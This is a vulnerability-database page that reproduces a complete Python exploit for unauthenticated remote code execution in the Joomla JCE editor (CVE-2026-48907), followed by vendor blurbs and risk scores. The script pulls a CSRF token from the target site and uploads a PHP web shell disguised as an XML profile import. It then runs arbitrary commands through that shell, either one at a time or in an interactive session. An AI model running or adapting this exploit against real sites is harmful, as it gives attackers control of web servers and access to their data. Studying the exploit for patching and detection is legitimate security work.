Lucene search
+L

Joomla JCE 2.9.99.4 Remote Code Execution

🗓️ 11 Aug 2026 00:00:00Reported by Jared BritsType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 24 Views

Unauthenticated RCE in JCE profile import allows PHP payload upload and execution via HTTP access.

Related
Code
# Exploit Title: Joomla  2.9.99.4 -Unauthenticated Remote Code Execution 
    # Date: 2026-07-10
    # Exploit Author: K3ysTr0K3R (Jared Brits)
    # Vendor Homepage: https://www.joomla.org/
    # Software Link: https://extensions.joomla.org/extension/jce/
    # Version: JCE 1.0.0 through 2.9.99.4 (fixed in 2.9.99.5)
    # Tested on: Joomla 3.10.11 / JCE 2.9.15 / Apache 2.4 / PHP 7.4
    # CVE: CVE-2026-48907
    # Description: The JCE (Joomla Content Editor) profile import functionality
    # lacks proper authentication and CSRF protections. An unauthenticated
    # attacker can upload a crafted XML file containing PHP code; the
    # file is stored in the /tmp/ directory and can be accessed via HTTP,
    # leading to remote code execution.
    #
    # Usage examples:
    #   python3 exploit.py -u http://example.com --interactive
    #   python3 exploit.py -u http://example.com --cmd "id"
    #   python3 exploit.py -u http://example.com -v
    
    import re
    import sys
    import argparse
    import requests
    from random import randint
    from time import sleep
    from urllib.parse import urljoin
    from rich.console import Console
    from rich.text import Text
    
    console = Console()
    
    requests.packages.urllib3.disable_warnings(
        requests.packages.urllib3.exceptions.InsecureRequestWarning
    )
    
    
    class JCEExploit:
        def __init__(self, target_url, proxy=None, verbose=False):
            self.target = target_url.rstrip('/')
            self.verbose = verbose
            self.session = requests.Session()
            self.session.verify = False
    
            if proxy:
                self.session.proxies = {
                    'http': proxy,
                    'https': proxy
                }
    
            self.filename = f"jce-{randint(1000, 9999)}.xml.php"
            self.payload = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'
    
        def log(self, msg, level="INFO"):
            if self.verbose or level in ["SUCCESS", "ERROR", "WARNING"]:
                level_style = {
                    "INFO": "blue",
                    "SUCCESS": "green",
                    "ERROR": "red",
                    "WARNING": "yellow"
                }
                symbol = {
                    "INFO": "[*]",
                    "SUCCESS": "[+]",
                    "ERROR": "[-]",
                    "WARNING": "[!]"
                }.get(level, "[*]")
    
                text = Text()
                text.append(symbol, style=level_style.get(level, "blue"))
                text.append(f" {msg}")
                console.print(text)
    
        def get_csrf_token(self):
            try:
                resp = self.session.get(self.target + '/', timeout=10)
                if resp.status_code != 200:
                    self.log(f"Unable to reach target (HTTP {resp.status_code})", "ERROR")
                    return None
    
                patterns = [
                    r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"',
                    r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"',
                    r'<meta[^>]*name="csrf\.token"[^>]*content="([a-f0-9]{32})"',
                    r'name="([a-f0-9]{32})"\s+value="1"',
                ]
    
                for pattern in patterns:
                    match = re.search(pattern, resp.text, re.I)
                    if match:
                        token = match.group(1)
                        self.log(f"CSRF token extracted: {token}", "SUCCESS")
                        return token
    
                self.log("Could not find CSRF token in the page", "ERROR")
                return None
    
            except requests.RequestException as e:
                self.log(f"Request failed: {e}", "ERROR")
                return None
    
        def upload_profile(self, token):
            if not token:
                return False
    
            endpoint = urljoin(self.target, '/index.php?option=com_jce')
    
            files = {
                'profile_file': (self.filename, self.payload, 'application/xml')
            }
    
            data = {
                'task': 'profiles.import',
                token: '1'
            }
    
            try:
                self.log(f"Uploading malicious file: {self.filename}")
                resp = self.session.post(endpoint, files=files, data=data, timeout=15)
    
                if resp.status_code != 200:
                    self.log(f"Upload failed (HTTP {resp.status_code})", "ERROR")
                    return False
    
                if 'success' in resp.text and 'true' in resp.text:
                    self.log("Profile imported – file written to /tmp/", "SUCCESS")
                    return True
                else:
                    self.log("Profile import may have failed", "WARNING")
                    return False
    
            except requests.RequestException as e:
                self.log(f"Upload request failed: {e}", "ERROR")
                return False
    
        def get_webshell_url(self):
            return urljoin(self.target, f'/tmp/{self.filename}')
    
        def execute_command(self, command):
            if not command:
                return ""
            url = self.get_webshell_url()
            try:
                resp = self.session.get(url, params={'cmd': command}, timeout=10)
                if resp.status_code == 200:
                    return resp.text
                else:
                    return f"[!] HTTP {resp.status_code} – command may have failed."
            except requests.RequestException as e:
                return f"[!] Request error: {e}"
    
        def interactive_shell(self):
            self.log("Entering interactive shell. Type 'exit' to quit.", "SUCCESS")
            console.print(f"Webshell URL: [cyan]{self.get_webshell_url()}[/cyan]\n")
            while True:
                try:
                    cmd = console.input("[cyan]$> [/cyan]").strip()
                    if cmd.lower() in ('exit', 'quit'):
                        break
                    if cmd == "":
                        continue
                    output = self.execute_command(cmd)
                    print(output)
                except KeyboardInterrupt:
                    print("\nExiting.")
                    break
    
        def run(self, command=None, interactive=False):
            self.log(f"Target: {self.target}")
            self.log("Starting CVE-2026-48907 exploitation process")
    
            token = self.get_csrf_token()
            if not token:
                self.log("Unable to get CSRF token – JCE may not be installed or fixed.", "ERROR")
                return False
    
            if not self.upload_profile(token):
                self.log("Upload failed – target may be patched.", "ERROR")
                return False
    
            test_output = self.execute_command("echo JCE_TEST")
            if "JCE_TEST" in test_output:
                self.log("Webshell is active and responding.", "SUCCESS")
            else:
                self.log("Webshell does not respond as expected – command execution may be disabled.", "WARNING")
    
            if command:
                self.log(f"Executing command: {command}")
                output = self.execute_command(command)
                print(output)
                return True
    
            if interactive:
                self.interactive_shell()
            else:
                self.log("Exploit complete. Use --interactive to get a shell, or --cmd to run one command.", "INFO")
                self.log(f"Direct webshell URL: {self.get_webshell_url()}")
    
            return True
    
    
    def main():
        parser = argparse.ArgumentParser(
            description='CVE-2026-48907 - Joomla JCE Unauthenticated RCE',
            epilog='Examples:\n'
                   '  python3 exploit.py -u http://target.com --interactive\n'
                   '  python3 exploit.py -u http://target.com --cmd "id"\n'
                   '  python3 exploit.py -u http://target.com -v'
        )
        parser.add_argument('-u', '--url', required=True, help='Target Joomla base URL')
        parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
        parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output')
        parser.add_argument('--cmd', help='Execute a single command and exit')
        parser.add_argument('--interactive', action='store_true', help='Start an interactive shell')
    
        args = parser.parse_args()
    
        banner = Text()
        banner.append("[!] ", style="yellow")
        banner.append("CVE-2026-48907 - Joomla JCE Unauthenticated RCE Exploit\n")
        banner.append("[!] ", style="yellow")
        banner.append("Coded by K3ysTr0K3R (Jared Brits)\n")
        console.print(banner, style="bold")
    
        if not args.verbose and not args.cmd and not args.interactive:
            confirm = console.input("\nConfirm you are testing in an authorized environment? (y/N): ")
            if confirm.lower() != 'y':
                console.print("Exiting.")
                sys.exit(0)
    
        exploit = JCEExploit(args.url, args.proxy, args.verbose)
        success = exploit.run(command=args.cmd, interactive=args.interactive)
    
        sys.exit(0 if success else 1)
    
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2026 00:00Current
9.2High risk
Vulners AI Score9.2
CVSS 3.19.8
CVSS 410
EPSS0.6883
SSVC
24